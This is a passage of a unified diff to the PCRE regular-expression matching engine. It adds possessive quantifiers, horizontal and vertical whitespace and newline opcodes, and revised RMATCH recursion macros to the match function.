           oclength = _pcre_ord2utf8(othercase, occhars);
+        else oclength = 0;
 #endif  /* SUPPORT_UCP */
 
         for (i = 1; i <= min; i++)
           {
           if (memcmp(eptr, charptr, length) == 0) eptr += length;
+#ifdef SUPPORT_UCP
           /* Need braces because of following else */
           else if (oclength == 0) { RRETURN(MATCH_NOMATCH); }
           else
@@ -2020,6 +2346,9 @@
             if (memcmp(eptr, occhars, oclength) != 0) RRETURN(MATCH_NOMATCH);
             eptr += oclength;
             }
+#else   /* without SUPPORT_UCP */
+          else { RRETURN(MATCH_NOMATCH); }
+#endif  /* SUPPORT_UCP */
           }
 
         if (min == max) continue;
@@ -2028,10 +2357,11 @@
           {
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM22);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             if (memcmp(eptr, charptr, length) == 0) eptr += length;
+#ifdef SUPPORT_UCP
             /* Need braces because of following else */
             else if (oclength == 0) { RRETURN(MATCH_NOMATCH); }
             else
@@ -2039,30 +2369,45 @@
               if (memcmp(eptr, occhars, oclength) != 0) RRETURN(MATCH_NOMATCH);
               eptr += oclength;
               }
+#else   /* without SUPPORT_UCP */
+            else { RRETURN (MATCH_NOMATCH); }
+#endif  /* SUPPORT_UCP */
             }
           /* Control never gets here */
           }
-        else
+
+        else  /* Maximize */
           {
           pp = eptr;
           for (i = min; i < max; i++)
             {
             if (eptr > md->end_subject - length) break;
             if (memcmp(eptr, charptr, length) == 0) eptr += length;
+#ifdef SUPPORT_UCP
             else if (oclength == 0) break;
             else
               {
               if (memcmp(eptr, occhars, oclength) != 0) break;
               eptr += oclength;
               }
+#else   /* without SUPPORT_UCP */
+            else break;
+#endif  /* SUPPORT_UCP */
             }
-          while (eptr >= pp)
+
+          if (possessive) continue;
+          for(;;)
            {
-           RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+           RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM23);
            if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+           if (eptr == pp) RRETURN(MATCH_NOMATCH);
+#ifdef SUPPORT_UCP
+           eptr--;
+           BACKCHAR(eptr);
+#else   /* without SUPPORT_UCP */
            eptr -= length;
+#endif  /* SUPPORT_UCP */
            }
-          RRETURN(MATCH_NOMATCH);
           }
         /* Control never gets here */
         }
@@ -2102,7 +2447,7 @@
         {
         for (fi = min;; fi++)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM24);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (fi >= max || eptr >= md->end_subject ||
               fc != md->lcc[*eptr++])
@@ -2110,7 +2455,7 @@
           }
         /* Control never gets here */
         }
-      else
+      else  /* Maximize */
         {
         pp = eptr;
         for (i = min; i < max; i++)
@@ -2118,9 +2463,10 @@
           if (eptr >= md->end_subject || fc != md->lcc[*eptr]) break;
           eptr++;
           }
+        if (possessive) continue;
         while (eptr >= pp)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM25);
           eptr--;
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           }
@@ -2139,14 +2485,14 @@
         {
         for (fi = min;; fi++)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM26);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (fi >= max || eptr >= md->end_subject || fc != *eptr++)
             RRETURN(MATCH_NOMATCH);
           }
         /* Control never gets here */
         }
-      else
+      else  /* Maximize */
         {
         pp = eptr;
         for (i = min; i < max; i++)
@@ -2154,9 +2500,10 @@
           if (eptr >= md->end_subject || fc != *eptr) break;
           eptr++;
           }
+        if (possessive) continue;
         while (eptr >= pp)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM27);
           eptr--;
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           }
@@ -2206,6 +2553,34 @@
     ecode += 3;
     goto REPEATNOTCHAR;
 
+    case OP_NOTPOSSTAR:
+    possessive = TRUE;
+    min = 0;
+    max = INT_MAX;
+    ecode++;
+    goto REPEATNOTCHAR;
+
+    case OP_NOTPOSPLUS:
+    possessive = TRUE;
+    min = 1;
+    max = INT_MAX;
+    ecode++;
+    goto REPEATNOTCHAR;
+
+    case OP_NOTPOSQUERY:
+    possessive = TRUE;
+    min = 0;
+    max = 1;
+    ecode++;
+    goto REPEATNOTCHAR;
+
+    case OP_NOTPOSUPTO:
+    possessive = TRUE;
+    min = 0;
+    max = GET2(ecode, 1);
+    ecode += 3;
+    goto REPEATNOTCHAR;
+
     case OP_NOTSTAR:
     case OP_NOTMINSTAR:
     case OP_NOTPLUS:
@@ -2245,7 +2620,7 @@
       /* UTF-8 mode */
       if (utf8)
         {
-        register int d;
+        register unsigned int d;
         for (i = 1; i <= min; i++)
           {
           GETCHARINC(d, eptr);
@@ -2270,15 +2645,16 @@
         /* UTF-8 mode */
         if (utf8)
           {
-          register int d;
+          register unsigned int d;
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM28);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+            if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(d, eptr);
             if (d < 256) d = md->lcc[d];
-            if (fi >= max || eptr >= md->end_subject || fc == d)
-              RRETURN(MATCH_NOMATCH);
+            if (fc == d) RRETURN(MATCH_NOMATCH);
+
             }
           }
         else
@@ -2287,7 +2663,7 @@
           {
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM29);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject || fc == md->lcc[*eptr++])
               RRETURN(MATCH_NOMATCH);
@@ -2306,7 +2682,7 @@
         /* UTF-8 mode */
         if (utf8)
           {
-          register int d;
+          register unsigned int d;
           for (i = min; i < max; i++)
             {
             int len = 1;
@@ -2316,9 +2692,10 @@
             if (fc == d) break;
             eptr += len;
             }
-          for(;;)
+        if (possessive) continue;
+        for(;;)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM30);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (eptr-- == pp) break;        /* Stop if tried at original pos */
             BACKCHAR(eptr);
@@ -2333,9 +2710,10 @@
             if (eptr >= md->end_subject || fc == md->lcc[*eptr]) break;
             eptr++;
             }
+          if (possessive) continue;
           while (eptr >= pp)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM31);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             eptr--;
             }
@@ -2354,7 +2732,7 @@
       /* UTF-8 mode */
       if (utf8)
         {
-        register int d;
+        register unsigned int d;
         for (i = 1; i <= min; i++)
           {
           GETCHARINC(d, eptr);
@@ -2377,14 +2755,14 @@
         /* UTF-8 mode */
         if (utf8)
           {
-          register int d;
+          register unsigned int d;
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM32);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+            if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(d, eptr);
-            if (fi >= max || eptr >= md->end_subject || fc == d)
-              RRETURN(MATCH_NOMATCH);
+            if (fc == d) RRETURN(MATCH_NOMATCH);
             }
           }
         else
@@ -2393,7 +2771,7 @@
           {
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM33);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject || fc == *eptr++)
               RRETURN(MATCH_NOMATCH);
@@ -2412,7 +2790,7 @@
         /* UTF-8 mode */
         if (utf8)
           {
-          register int d;
+          register unsigned int d;
           for (i = min; i < max; i++)
             {
             int len = 1;
@@ -2421,9 +2799,10 @@
             if (fc == d) break;
             eptr += len;
             }
+          if (possessive) continue;
           for(;;)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM34);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (eptr-- == pp) break;        /* Stop if tried at original pos */
             BACKCHAR(eptr);
@@ -2438,9 +2817,10 @@
             if (eptr >= md->end_subject || fc == *eptr) break;
             eptr++;
             }
+          if (possessive) continue;
           while (eptr >= pp)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM35);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             eptr--;
             }
@@ -2469,6 +2849,34 @@
     ecode += 3;
     goto REPEATTYPE;
 
+    case OP_TYPEPOSSTAR:
+    possessive = TRUE;
+    min = 0;
+    max = INT_MAX;
+    ecode++;
+    goto REPEATTYPE;
+
+    case OP_TYPEPOSPLUS:
+    possessive = TRUE;
+    min = 1;
+    max = INT_MAX;
+    ecode++;
+    goto REPEATTYPE;
+
+    case OP_TYPEPOSQUERY:
+    possessive = TRUE;
+    min = 0;
+    max = 1;
+    ecode++;
+    goto REPEATTYPE;
+
+    case OP_TYPEPOSUPTO:
+    possessive = TRUE;
+    min = 0;
+    max = GET2(ecode, 1);
+    ecode += 3;
+    goto REPEATTYPE;
+
     case OP_TYPESTAR:
     case OP_TYPEMINSTAR:
     case OP_TYPEPLUS:
@@ -2519,7 +2927,7 @@
           for (i = 1; i <= min; i++)
             {
             if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
-            GETCHARINC(c, eptr);
+            GETCHARINCTEST(c, eptr);
             }
           break;
 
@@ -2527,8 +2935,8 @@
           for (i = 1; i <= min; i++)
             {
             if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
-            GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            GETCHARINCTEST(c, eptr);
+            prop_chartype = UCD_CHARTYPE(c);
             if ((prop_chartype == ucp_Lu ||
                  prop_chartype == ucp_Ll ||
                  prop_chartype == ucp_Lt) == prop_fail_result)
@@ -2540,8 +2948,8 @@
           for (i = 1; i <= min; i++)
             {
             if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
-            GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            GETCHARINCTEST(c, eptr);
+            prop_category = UCD_CATEGORY(c);
             if ((prop_category == prop_value) == prop_fail_result)
               RRETURN(MATCH_NOMATCH);
             }
@@ -2551,8 +2959,8 @@
           for (i = 1; i <= min; i++)
             {
             if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
-            GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            GETCHARINCTEST(c, eptr);
+            prop_chartype = UCD_CHARTYPE(c);
             if ((prop_chartype == prop_value) == prop_fail_result)
               RRETURN(MATCH_NOMATCH);
             }
@@ -2562,8 +2970,8 @@
           for (i = 1; i <= min; i++)
             {
             if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
-            GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            GETCHARINCTEST(c, eptr);
+            prop_script = UCD_SCRIPT(c);
             if ((prop_script == prop_value) == prop_fail_result)
               RRETURN(MATCH_NOMATCH);
             }
@@ -2571,7 +2979,6 @@
 
           default:
           RRETURN(PCRE_ERROR_INTERNAL);
-          break;
           }
         }
 
@@ -2583,7 +2990,7 @@
         for (i = 1; i <= min; i++)
           {
           GETCHARINCTEST(c, eptr);
-          prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+          prop_category = UCD_CATEGORY(c);
           if (prop_category == ucp_M) RRETURN(MATCH_NOMATCH);
           while (eptr < md->end_subject)
             {
@@ -2592,7 +2999,7 @@
               {
               GETCHARLEN(c, eptr, len);
               }
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_category = UCD_CATEGORY(c);
             if (prop_category != ucp_M) break;
             eptr += len;
             }
@@ -2610,20 +3017,156 @@
         case OP_ANY:
         for (i = 1; i <= min; i++)
           {
-          if (eptr >= md->end_subject ||
-               ((ims & PCRE_DOTALL) == 0 &&
-                 eptr <= md->end_subject - md->nllen &&
-                 IS_NEWLINE(eptr)))
+          if (eptr >= md->end_subject || IS_NEWLINE(eptr))
             RRETURN(MATCH_NOMATCH);
           eptr++;
           while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
           }
         break;
 
+        case OP_ALLANY:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          eptr++;
+          while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
+          }
+        break;
+
         case OP_ANYBYTE:
         eptr += min;
         break;
 
+        case OP_ANYNL:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          GETCHARINC(c, eptr);
+          switch(c)
+            {
+            default: RRETURN(MATCH_NOMATCH);
+            case 0x000d:
+            if (eptr < md->end_subject && *eptr == 0x0a) eptr++;
+            break;
+
+            case 0x000a:
+            break;
+
+            case 0x000b:
+            case 0x000c:
+            case 0x0085:
+            case 0x2028:
+            case 0x2029:
+            if (md->bsr_anycrlf) RRETURN(MATCH_NOMATCH);
+            break;
+            }
+          }
+        break;
+
+        case OP_NOT_HSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          GETCHARINC(c, eptr);
+          switch(c)
+            {
+            default: break;
+            case 0x09:      /* HT */
+            case 0x20:      /* SPACE */
+            case 0xa0:      /* NBSP */
+            case 0x1680:    /* OGHAM SPACE MARK */
+            case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+            case 0x2000:    /* EN QUAD */
+            case 0x2001:    /* EM QUAD */
+            case 0x2002:    /* EN SPACE */
+            case 0x2003:    /* EM SPACE */
+            case 0x2004:    /* THREE-PER-EM SPACE */
+            case 0x2005:    /* FOUR-PER-EM SPACE */
+            case 0x2006:    /* SIX-PER-EM SPACE */
+            case 0x2007:    /* FIGURE SPACE */
+            case 0x2008:    /* PUNCTUATION SPACE */
+            case 0x2009:    /* THIN SPACE */
+            case 0x200A:    /* HAIR SPACE */
+            case 0x202f:    /* NARROW NO-BREAK SPACE */
+            case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+            case 0x3000:    /* IDEOGRAPHIC SPACE */
+            RRETURN(MATCH_NOMATCH);
+            }
+          }
+        break;
+
+        case OP_HSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          GETCHARINC(c, eptr);
+          switch(c)
+            {
+            default: RRETURN(MATCH_NOMATCH);
+            case 0x09:      /* HT */
+            case 0x20:      /* SPACE */
+            case 0xa0:      /* NBSP */
+            case 0x1680:    /* OGHAM SPACE MARK */
+            case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+            case 0x2000:    /* EN QUAD */
+            case 0x2001:    /* EM QUAD */
+            case 0x2002:    /* EN SPACE */
+            case 0x2003:    /* EM SPACE */
+            case 0x2004:    /* THREE-PER-EM SPACE */
+            case 0x2005:    /* FOUR-PER-EM SPACE */
+            case 0x2006:    /* SIX-PER-EM SPACE */
+            case 0x2007:    /* FIGURE SPACE */
+            case 0x2008:    /* PUNCTUATION SPACE */
+            case 0x2009:    /* THIN SPACE */
+            case 0x200A:    /* HAIR SPACE */
+            case 0x202f:    /* NARROW NO-BREAK SPACE */
+            case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+            case 0x3000:    /* IDEOGRAPHIC SPACE */
+            break;
+            }
+          }
+        break;
+
+        case OP_NOT_VSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          GETCHARINC(c, eptr);
+          switch(c)
+            {
+            default: break;
+            case 0x0a:      /* LF */
+            case 0x0b:      /* VT */
+            case 0x0c:      /* FF */
+            case 0x0d:      /* CR */
+            case 0x85:      /* NEL */
+            case 0x2028:    /* LINE SEPARATOR */
+            case 0x2029:    /* PARAGRAPH SEPARATOR */
+            RRETURN(MATCH_NOMATCH);
+            }
+          }
+        break;
+
+        case OP_VSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          GETCHARINC(c, eptr);
+          switch(c)
+            {
+            default: RRETURN(MATCH_NOMATCH);
+            case 0x0a:      /* LF */
+            case 0x0b:      /* VT */
+            case 0x0c:      /* FF */
+            case 0x0d:      /* CR */
+            case 0x85:      /* NEL */
+            case 0x2028:    /* LINE SEPARATOR */
+            case 0x2029:    /* PARAGRAPH SEPARATOR */
+            break;
+            }
+          }
+        break;
+
         case OP_NOT_DIGIT:
         for (i = 1; i <= min; i++)
           {
@@ -2648,9 +3191,9 @@
         for (i = 1; i <= min; i++)
           {
           if (eptr >= md->end_subject ||
-             (*eptr < 128 && (md->ctypes[*eptr++] & ctype_space) != 0))
+             (*eptr < 128 && (md->ctypes[*eptr] & ctype_space) != 0))
             RRETURN(MATCH_NOMATCH);
-          while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
+          while (++eptr < md->end_subject && (*eptr & 0xc0) == 0x80);
           }
         break;
 
@@ -2668,9 +3211,9 @@
         for (i = 1; i <= min; i++)
           {
           if (eptr >= md->end_subject ||
-             (*eptr < 128 && (md->ctypes[*eptr++] & ctype_word) != 0))
+             (*eptr < 128 && (md->ctypes[*eptr] & ctype_word) != 0))
             RRETURN(MATCH_NOMATCH);
-          while (eptr < md->end_subject && (*eptr & 0xc0) == 0x80) eptr++;
+          while (++eptr < md->end_subject && (*eptr & 0xc0) == 0x80);
           }
         break;
 
@@ -2692,27 +3235,116 @@
 #endif     /* SUPPORT_UTF8 */
 
       /* Code for the non-UTF-8 case for minimum matching of operators other
-      than OP_PROP and OP_NOTPROP. */
+      than OP_PROP and OP_NOTPROP. We can assume that there are the minimum
+      number of bytes present, as this was tested above. */
 
       switch(ctype)
         {
         case OP_ANY:
-        if ((ims & PCRE_DOTALL) == 0)
+        for (i = 1; i <= min; i++)
           {
-          for (i = 1; i <= min; i++)
-            {
-            if (eptr <= md->end_subject - md->nllen && IS_NEWLINE(eptr))
-              RRETURN(MATCH_NOMATCH);
-            eptr++;
-            }
+          if (IS_NEWLINE(eptr)) RRETURN(MATCH_NOMATCH);
+          eptr++;
           }
-        else eptr += min;
         break;
 
+        case OP_ALLANY:
+        eptr += min;
+        break;
+
         case OP_ANYBYTE:
         eptr += min;
         break;
 
+        /* Because of the CRLF case, we can't assume the minimum number of
+        bytes are present in this case. */
+
+        case OP_ANYNL:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          switch(*eptr++)
+            {
+            default: RRETURN(MATCH_NOMATCH);
+            case 0x000d:
+            if (eptr < md->end_subject && *eptr == 0x0a) eptr++;
+            break;
+            case 0x000a:
+            break;
+
+            case 0x000b:
+            case 0x000c:
+            case 0x0085:
+            if (md->bsr_anycrlf) RRETURN(MATCH_NOMATCH);
+            break;
+            }
+          }
+        break;
+
+        case OP_NOT_HSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          switch(*eptr++)
+            {
+            default: break;
+            case 0x09:      /* HT */
+            case 0x20:      /* SPACE */
+            case 0xa0:      /* NBSP */
+            RRETURN(MATCH_NOMATCH);
+            }
+          }
+        break;
+
+        case OP_HSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          switch(*eptr++)
+            {
+            default: RRETURN(MATCH_NOMATCH);
+            case 0x09:      /* HT */
+            case 0x20:      /* SPACE */
+            case 0xa0:      /* NBSP */
+            break;
+            }
+          }
+        break;
+
+        case OP_NOT_VSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          switch(*eptr++)
+            {
+            default: break;
+            case 0x0a:      /* LF */
+            case 0x0b:      /* VT */
+            case 0x0c:      /* FF */
+            case 0x0d:      /* CR */
+            case 0x85:      /* NEL */
+            RRETURN(MATCH_NOMATCH);
+            }
+          }
+        break;
+
+        case OP_VSPACE:
+        for (i = 1; i <= min; i++)
+          {
+          if (eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
+          switch(*eptr++)
+            {
+            default: RRETURN(MATCH_NOMATCH);
+            case 0x0a:      /* LF */
+            case 0x0b:      /* VT */
+            case 0x0c:      /* FF */
+            case 0x0d:      /* CR */
+            case 0x85:      /* NEL */
+            break;
+            }
+          }
+        break;
+
         case OP_NOT_DIGIT:
         for (i = 1; i <= min; i++)
           if ((md->ctypes[*eptr++] & ctype_digit) != 0) RRETURN(MATCH_NOMATCH);
@@ -2768,71 +3400,70 @@
           case PT_ANY:
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM36);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(c, eptr);
             if (prop_fail_result) RRETURN(MATCH_NOMATCH);
             }
-          break;
+          /* Control never gets here */
 
           case PT_LAMP:
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM37);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_chartype = UCD_CHARTYPE(c);
             if ((prop_chartype == ucp_Lu ||
                  prop_chartype == ucp_Ll ||
                  prop_chartype == ucp_Lt) == prop_fail_result)
               RRETURN(MATCH_NOMATCH);
             }
-          break;
+          /* Control never gets here */
 
           case PT_GC:
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM38);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_category = UCD_CATEGORY(c);
             if ((prop_category == prop_value) == prop_fail_result)
               RRETURN(MATCH_NOMATCH);
             }
-          break;
+          /* Control never gets here */
 
           case PT_PC:
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM39);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_chartype = UCD_CHARTYPE(c);
             if ((prop_chartype == prop_value) == prop_fail_result)
               RRETURN(MATCH_NOMATCH);
             }
-          break;
+          /* Control never gets here */
 
           case PT_SC:
           for (fi = min;; fi++)
             {
-            RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+            RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM40);
             if (rrc != MATCH_NOMATCH) RRETURN(rrc);
             if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
             GETCHARINC(c, eptr);
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_script = UCD_SCRIPT(c);
             if ((prop_script == prop_value) == prop_fail_result)
               RRETURN(MATCH_NOMATCH);
             }
-          break;
+          /* Control never gets here */
 
           default:
           RRETURN(PCRE_ERROR_INTERNAL);
-          break;
           }
         }
 
@@ -2843,11 +3474,11 @@
         {
         for (fi = min;; fi++)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM41);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (fi >= max || eptr >= md->end_subject) RRETURN(MATCH_NOMATCH);
           GETCHARINCTEST(c, eptr);
-          prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+          prop_category = UCD_CATEGORY(c);
           if (prop_category == ucp_M) RRETURN(MATCH_NOMATCH);
           while (eptr < md->end_subject)
             {
@@ -2856,7 +3487,7 @@
               {
               GETCHARLEN(c, eptr, len);
               }
-            prop_category = _pcre_ucp_findprop(c, &prop_chartype, &prop_script);
+            prop_category = UCD_CATEGORY(c);
             if (prop_category != ucp_M) break;
             eptr += len;
             }
@@ -2872,22 +3503,124 @@
         {
         for (fi = min;; fi++)
           {
-          RMATCH(rrc, eptr, ecode, offset_top, md, ims, eptrb, 0);
+          RMATCH(eptr, ecode, offset_top, md, ims, eptrb, 0, RM42);
           if (rrc != MATCH_NOMATCH) RRETURN(rrc);
           if (fi >= max || eptr >= md->end_subject ||
-               (ctype == OP_ANY && (ims & PCRE_DOTALL) == 0 &&
-                eptr <= md->end_subject - md->nllen && IS_NEWLINE(eptr)))
+               (ctype == OP_ANY && IS_NEWLINE(eptr)))
             RRETURN(MATCH_NOMATCH);
 
           GETCHARINC(c, eptr);
           switch(ctype)
             {
-            case OP_ANY:        /* This is the DOTALL case */
+            case OP_ANY:        /* This is the non-NL case */
+            case OP_ALLANY:
+            case OP_ANYBYTE:
             break;
 
-            case OP_ANYBYTE:
+            case OP_ANYNL:
+            switch(c)
+              {
+              default: RRETURN(MATCH_NOMATCH);
+              case 0x000d:
+              if (eptr < md->end_subject && *eptr == 0x0a) eptr++;
+              break;
+              case 0x000a:
+              break;
+
+              case 0x000b:
+              case 0x000c:
+              case 0x0085:
+              case 0x2028:
+              case 0x2029:
+              if (md->bsr_anycrlf) RRETURN(MATCH_NOMATCH);
+              break;
+              }
             break;
 
+            case OP_NOT_HSPACE:
+            switch(c)
+              {
+              default: break;
+              case 0x09:      /* HT */
+              case 0x20:      /* SPACE */
+              case 0xa0:      /* NBSP */
+              case 0x1680:    /* OGHAM SPACE MARK */
+              case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+              case 0x2000:    /* EN QUAD */
+              case 0x2001:    /* EM QUAD */
+              case 0x2002:    /* EN SPACE */
+              case 0x2003:    /* EM SPACE */
+              case 0x2004:    /* THREE-PER-EM SPACE */
+              case 0x2005:    /* FOUR-PER-EM SPACE */
+              case 0x2006:    /* SIX-PER-EM SPACE */
+              case 0x2007:    /* FIGURE SPACE */
+              case 0x2008:    /* PUNCTUATION SPACE */
+              case 0x2009:    /* THIN SPACE */
+              case 0x200A:    /* HAIR SPACE */
+              case 0x202f:    /* NARROW NO-BREAK SPACE */
+              case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+              case 0x3000:    /* IDEOGRAPHIC SPACE */
+              RRETURN(MATCH_NOMATCH);
+              }
+            break;
+
+            case OP_HSPACE:
+            switch(c)
+              {
+              default: RRETURN(MATCH_NOMATCH);
+              case 0x09:      /* HT */
+              case 0x20:      /* SPACE */
+              case 0xa0:      /* NBSP */
+              case 0x1680:    /* OGHAM SPACE MARK */
+              case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+              case 0x2000:    /* EN QUAD */
+              case 0x2001:    /* EM QUAD */
+              case 0x2002:    /* EN SPACE */
+              case 0x2003:    /* EM SPACE */
+              case 0x2004:    /* THREE-PER-EM SPACE */
+              case 0x2005:    /* FOUR-PER-EM SPACE */
+              case 0x2006:    /* SIX-PER-EM SPACE */
+              case 0x2007:    /* FIGURE SPACE */
+              case 0x2008:    /* PUNCTUATION SPACE */
+              case 0x2009:    /* THIN SPACE */
+              case 0x200A:    /* HAIR SPACE */
+              case 0x202f:    /* NARROW NO-BREAK SPACE */
+              case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+              case 0x3000:    /* IDEOGRAPHIC SPACE */
+              break;
+              }
+            break;
+
+            case OP_NOT_VSPACE:
+            switch(c)
+              {
+              default: break;
+              case 0x0a:      /* LF */
+              case 0x0b:      /* VT */
+              case 0x0c:      /* FF */
+              case 0x0d:      /* CR */
